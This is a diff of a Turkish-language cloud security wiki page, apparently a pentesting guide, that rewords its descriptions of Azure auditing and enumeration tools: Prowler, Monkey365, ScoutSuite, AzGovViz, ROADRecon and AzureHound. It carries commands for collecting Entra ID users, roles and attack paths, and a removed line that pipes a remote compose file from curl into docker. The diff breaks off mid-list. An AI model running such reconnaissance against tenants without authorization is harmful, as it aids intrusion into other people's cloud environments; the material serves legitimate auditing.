-Prowler, AWS, Azure, Google Cloud ve Kubernetes güvenlik en iyi uygulamaları değerlendirmeleri, denetimleri, olay müdahalesi, sürekli izleme, sertleştirme ve adli hazırlık yapmak için kullanılan Açık Kaynak bir güvenlik aracıdır.
+Prowler, AWS, Azure, Google Cloud ve Kubernetes güvenlik en iyi uygulamaları değerlendirmeleri, denetimler, olay müdahalesi, sürekli izleme, sertleştirme ve adli inceleme hazırlığı gerçekleştirmek için kullanılan açık kaynaklı bir güvenlik aracıdır.
-Temelde, bir Azure ortamında güvenlik yanlış yapılandırmalarını bulmak için yüzlerce kontrol gerçekleştirmemizi sağlar ve sonuçları json (ve diğer metin formatları) olarak toplar veya web'de kontrol etmemizi sağlar.
+Temelde bir Azure ortamına karşı yüzlerce kontrol çalıştırmamıza, güvenlik yapılandırma hatalarını bulmamıza ve sonuçları json (ve diğer metin formatlarında) olarak toplamamıza veya web'de görüntülememize olanak tanır.
```bash
# Create a application with Reader role and set the tenant ID, client ID and secret in prowler so it access the app
@@ -203,9 +203,9 @@ docker run --rm -e "AZURE_CLIENT_ID=" -e "AZURE_TENANT_ID=
```
### [Monkey365](https://github.com/silverhack/monkey365)
-Azure abonelikleri ve Microsoft Entra ID güvenlik yapılandırma incelemelerini otomatik olarak gerçekleştirmeye olanak tanır.
+Azure abonelikleri ve Microsoft Entra ID güvenlik yapılandırması incelemelerini otomatik olarak gerçekleştirmeye olanak tanır.
-HTML raporları, github depo klasörü içindeki `./monkey-reports` dizininde saklanır.
+HTML raporları github repository klasörü içindeki `./monkey-reports` dizininde saklanır.
```bash
git clone https://github.com/silverhack/monkey365
Get-ChildItem -Recurse monkey365 | Unblock-File
@@ -226,7 +226,7 @@ Invoke-Monkey365 -TenantId -ClientId -ClientSecret $Secu
```
### [ScoutSuite](https://github.com/nccgroup/ScoutSuite)
-Scout Suite, manuel inceleme için yapılandırma verilerini toplar ve risk alanlarını vurgular. Çoklu bulut güvenlik denetim aracı olan bu araç, bulut ortamlarının güvenlik durumu değerlendirmesini sağlar.
+Scout Suite, manuel inceleme için yapılandırma verilerini toplar ve risk alanlarını vurgular. Çoklu bulutlara yönelik bir güvenlik denetim aracıdır ve bulut ortamlarının güvenlik duruşunun değerlendirilmesini sağlar.
```bash
virtualenv -p python3 venv
source venv/bin/activate
@@ -242,9 +242,9 @@ python scout.py azure --cli
```
### [Azure-MG-Sub-Governance-Reporting](https://github.com/JulianHayward/Azure-MG-Sub-Governance-Reporting)
-Bu, bir Yönetim Grubu ve Entra ID **kiracısındaki tüm kaynakları ve izinleri görselleştirmenize** ve güvenlik yanlış yapılandırmalarını bulmanıza yardımcı olan bir PowerShell betiğidir.
+Bu bir powershell scriptidir ve **Management Group ve Entra ID tenant içindeki tüm kaynakları ve izinleri görselleştirmenize** ve güvenlik yanlış yapılandırmalarını bulmanıza yardımcı olur.
-Bu, Az PowerShell modülünü kullanarak çalışır, bu nedenle bu aracın desteklediği herhangi bir kimlik doğrulama aracı tarafından desteklenir.
+Az PowerShell module kullanılarak çalışır; bu nedenle bu modül tarafından desteklenen tüm kimlik doğrulama yöntemleri kullanılabilir.
```bash
import-module Az
.\AzGovVizParallel.ps1 -ManagementGroupId [-SubscriptionIdWhitelist ]
@@ -253,7 +253,7 @@ import-module Az
### [**ROADRecon**](https://github.com/dirkjanm/ROADtools)
-ROADRecon'un enumerasyonu, kullanıcılar, gruplar, roller, koşullu erişim politikaları gibi Entra ID'nin yapılandırması hakkında bilgi sunar...
+ROADRecon'un enumeration'ı Entra ID yapılandırması hakkında bilgiler sunar; örneğin kullanıcılar, gruplar, roller, koşullu erişim politikaları...
```bash
cd ROADTools
pipenv shell
@@ -265,20 +265,89 @@ roadrecon gather
roadrecon gui
```
### [**AzureHound**](https://github.com/BloodHoundAD/AzureHound)
-```bash
-# Launch AzureHound
-## Login with app secret
-azurehound -a "" -s "" --tenant "" list -o ./output.json
-## Login with user creds
-azurehound -u "" -p "" --tenant "" list -o ./output.json
-```
-**BloodHound** web'i **`curl -L https://ghst.ly/getbhce | docker compose -f - up`** ile başlatın ve `output.json` dosyasını içe aktarın.
-Ardından, **EXPLORE** sekmesinde, **CYPHER** bölümünde önceden oluşturulmuş sorguları içeren bir **folder** simgesi görebilirsiniz.
+AzureHound, Microsoft Entra ID ve Azure için BloodHound collector'ıdır. Windows/Linux/macOS için tek bir statik Go binary'si olup doğrudan şunlarla iletişim kurar:
+- Microsoft Graph (Entra ID directory, M365) ve
+- Azure Resource Manager (ARM) control plane (subscriptions, resource groups, compute, storage, key vault, app services, AKS, etc.)
+
+Ana özellikleri
+- Tenant API'larına karşı genel internetten her yerden çalışır (iç ağ erişimi gerekmez)
+- Kimlikler ve bulut kaynakları arasındaki saldırı yollarını görselleştirmek üzere BloodHound CE'ye içeri aktarılabilir JSON çıktısı üretir
+- Gözlemlenen varsayılan User-Agent: azurehound/v2.x.x
+
+Kimlik doğrulama seçenekleri
+- Kullanıcı adı + parola: -u -p
+- Refresh token: --refresh-token